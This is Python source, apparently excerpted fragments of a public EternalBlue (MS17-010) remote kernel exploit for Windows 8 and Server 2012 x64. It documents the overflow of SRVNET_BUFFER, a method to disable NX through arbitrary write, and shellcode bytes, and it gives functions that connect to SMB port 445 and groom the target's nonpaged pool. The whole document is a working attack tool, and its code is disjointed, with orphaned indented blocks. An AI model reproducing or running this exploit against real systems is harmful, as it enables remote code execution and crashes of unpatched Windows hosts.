'''EternalBlue exploit for Windows 8 and 2012 by sleepyaThe exploit might FAIL and CRASH a target system (depended on what is overwritten)The exploit support only x64 targetTested on:- Windows 2012 R2 x64- Windows 8.1 x64Default Windows 8 and later installation without additional service info:- anonymous is not allowed to access any share (including IPC$)- tcp port 445 if filtered by firewallReference:- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/- "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/editExploit info:- If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same- The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000). On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.- The exploit is likely to crash a target when it failed- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)- See the code and comment for exploit detail.Disable NX method:- The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference)- The exploit is also the same but we need to trigger bug twice- First trigger, set MDL.MappedSystemVa to target pte address - Write '\x00' to disable the NX flag- Second trigger, do the same as Windows 7 exploit- From my test, if exploit disable NX successfully, I always get code execution'''

# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000NTFEA_SIZE = 0x9000

'''Reverse from srvnet.sys (Win2012 R2 x64)- SrvNetAllocateBufferFromPool() and SrvNetWskTransformedReceiveComplete():// size 0x90struct SRVNET_BUFFER_HDR { LIST_ENTRY list; USHORT flag; // 2 least significant bit MUST be clear. if 0x1 is set, pmdl pointers are access. if 0x2 is set, go to lookaside. char unknown0[6]; char *pNetRawBuffer; // MUST point to valid address (check if this request is "\xfdSMB") DWORD netRawBufferSize; // offset: 0x20 DWORD ioStatusInfo; DWORD thisNonPagedPoolSize; // will be 0x82e8 for netRawBufferSize 0x8100 DWORD pad2; char *thisNonPagedPoolAddr; // 0x30 points to SRVNET_BUFFER PMDL pmdl1; // point at offset 0x90 from this struct DWORD nByteProcessed; // 0x40 char unknown4[4]; QWORD smbMsgSize; // MUST be modified to size of all recv data PMDL pmdl2; // 0x50: if want to free corrupted buffer, need to set to valid address QWORD pSrvNetWskStruct; // want to change to fake struct address DWORD unknown6; // 0x60 char unknown7[12]; char unknown8[0x20];};struct SRVNET_BUFFER { char transportHeader[80]; // 0x50 char buffer[reqSize+padding]; // 0x8100 (for pool size 0x82f0), 0x10100 (for pool size 0x11000) SRVNET_BUFFER_HDR hdr; //some header size 0x90 //MDL mdl1; // target};In Windows 8, the srvnet buffer metadata is declared after real buffer. We need to overflow through whole receive buffer.Because transaction max data count is 66512 (0x103d0) in SMB_COM_NT_TRANSACT command and DataDisplacement is USHORT in SMB_COM_TRANSACTION2_SECONDARY command, we cannot send large trailing data after FEALIST.So the possible srvnet buffer pool size is 0x82f0. With this pool size, we need to overflow more than 0x8150 bytes.If exploit cannot overflow to prepared SRVNET_BUFFER, the target is likely to crash because of big overflow.'''# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing# Here is the important fields on x64# - offset 0x18 (VOID*) : pointer to received SMB message buffer. This value MUST be valid address because there is# a check in SrvNetWskTransformedReceiveComplete() if this message starts with "\xfdSMB".# - offset 0x48 (QWORD) : the SMB message length from packet header (first 4 bytes).# This value MUST be exactly same as the number of bytes we send.# Normally, this value is 0x80 + len(fake_struct) + len(shellcode)# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.# The value MUST point to valid (might be fake) struct.# - offset 0x90 (MDL) : MDL for describe receiving SMB request buffer# - 0x90 (VOID*) : MDL.Next should be NULL# - 0x98 (USHORT) : MDL.Size should be some value that not too small# - 0x9a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)# - 0x90 (VOID*) : MDL.Process should be NULL# - 0x98 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.# The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).# ## To free the corrupted srvnet buffer (not necessary), shellcode MUST modify some memory value to satisfy condition.# Here is related field for freeing corrupted buffer# - offset 0x10 (USHORT): 2 least significant bit MUST be clear. Just set to 0xfff0# - offset 0x30 (VOID*) : MUST be fixed to correct value in shellcode. This is the value that passed to ExFreePoolWithTag()# - offset 0x40 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0# before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to# your shellcode as function argument# - offset 0x50 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".# Here is x64 assembly code for setting nByteProcessed field# - fetch SRVNET_BUFFER address from function argument# \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]# - fix pool pointer (rcx is -0x8150 because of fake_recv_struct below)# \x48\x01\xd1 add rcx, rdx# \x48\x89\x4a\x30 mov [rdx+0x30], rcx# - set nByteProcessed for trigger free after return# \x8b\x4a\x48 mov ecx, [rdx+0x48]# \x89\x4a\x40 mov [rdx+0x40], ecx

# connect to target and send a large nbss size with data 0x80 bytes# this method is for allocating big nonpaged pool on targetdef createConnectionWithBigSMBFirst80(target, for_nx=False): sk = socket.create_connection((target, 445)) pkt = '\x00' + '\x00' + pack('>H', 0x8100) # There is no need to be SMB2 because we want the target free the corrupted buffer. # Also this is invalid SMB2 message. # I believe NSA exploit use SMB2 for hiding alert from IDS #pkt += '\xffSMB' # smb2 # it can be anything even it is invalid pkt += 'BAAD' # can be any if for_nx: # MUST set no delay because 1 byte MUST be sent immediately sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) pkt += '\x00'*0x7b # another byte will be sent later to disabling NX else: pkt += '\x00'*0x7c sk.send(pkt) return sk

# can use conn.login() for ntlmv2 conn.login_standard('', '') server_os = conn.get_server_os() print('Target OS: '+server_os) if not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")): print('This exploit does not support this target') sys.exit()

# groom nonpaged pool # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one srvnetConn = [] for i in range(numGroomConn): sk = createConnectionWithBigSMBFirst80(target, for_nx=True) srvnetConn.append(sk)

# create buffer size NTFEA_SIZE at server # this buffer will be replaced by overflown buffer holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10) # disconnect allocConn to free buffer # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer allocConn.get_socket().close()

# hope one of srvnetConn is next to holeConn for i in range(5): sk = createConnectionWithBigSMBFirst80(target, for_nx=True) srvnetConn.append(sk)